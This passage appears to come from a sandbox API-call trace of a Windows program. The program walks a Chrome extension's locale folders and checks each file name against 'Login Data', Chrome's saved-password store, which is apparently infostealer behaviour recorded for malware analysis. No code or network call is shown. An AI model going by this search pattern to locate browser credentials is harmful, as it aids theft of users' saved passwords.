Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*" [0056.591] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.591] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.591] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.591] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.591] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.591] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.591] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.591] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.591] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.591] LocalFree (hMem=0x2dc508) returned 0x0 [0056.591] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.591] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.591] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.591] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.591] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.591] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.591] lstrlenA (lpString="\\") returned 1 [0056.591] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.591] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.591] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.591] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.591] lstrlenA (lpString="ro") returned 2 [0056.591] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.591] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.591] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0056.591] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.591] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned 131 [0056.591] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned 131 [0056.591] lstrlenA (lpString="\\*.*") returned 4 [0056.591] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.591] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0056.591] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*" [0056.591] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.591] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.591] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.591] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.591] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.591] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.591] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.592] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.592] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.592] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.592] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.592] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.592] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.592] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.592] lstrlenA (lpString="\\") returned 1 [0056.592] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.592] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.592] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.592] lstrlenA (lpString="ru") returned 2 [0056.592] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.592] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.592] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0056.592] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned 131 [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned 131 [0056.592] lstrlenA (lpString="\\*.*") returned 4 [0056.592] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.592] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0056.592] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*" [0056.592] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.592] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.592] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.592] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.592] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.592] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.592] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.592] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.592] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.592] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.592] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.592] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.592] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.592] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.592] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.592] lstrlenA (lpString="\\") returned 1 [0056.592] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.592] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.592] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.593] lstrlenA (lpString="sk") returned 2 [0056.593] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.593] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.593] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0056.593] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned 131 [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned 131 [0056.593] lstrlenA (lpString="\\*.*") returned 4 [0056.593] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.593] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0056.593] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*" [0056.593] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.593] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.593] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.593] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.593] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.593] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.593] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.593] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.593] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.593] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.593] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.593] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.593] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.593] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.593] lstrlenA (lpString="\\") returned 1 [0056.593] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.593] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.593] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.593] lstrlenA (lpString="sl") returned 2 [0056.593] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.593] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.593] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0056.593] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned 131 [0056.593] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned 131 [0056.593] lstrlenA (lpString="\\*.*") returned 4 [0056.593] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.593] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0056.593] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*" [0056.593] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.594] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.594] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.594] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.594] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.594] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.594] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.594] FindNextFileA (in: 